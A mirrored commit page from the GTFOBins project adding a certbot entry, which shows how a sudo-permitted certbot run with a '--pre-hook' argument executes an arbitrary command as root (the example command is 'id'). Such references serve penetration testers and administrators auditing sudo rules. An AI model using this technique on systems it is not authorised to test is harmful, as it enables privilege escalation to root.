mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-04-08 00:09:55 +02:00
New: certbot
This commit is contained in:
parent
cda67674d5
commit
160e8d5dcd
9
_gtfobins/certbot.md
Normal file
9
_gtfobins/certbot.md
Normal file
@ -0,0 +1,9 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
|
||||
code: |
|
||||
COMMAND='id'
|
||||
TF=$(mktemp -d)
|
||||
sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"
|
||||
---
|
Loading…
x
Reference in New Issue
Block a user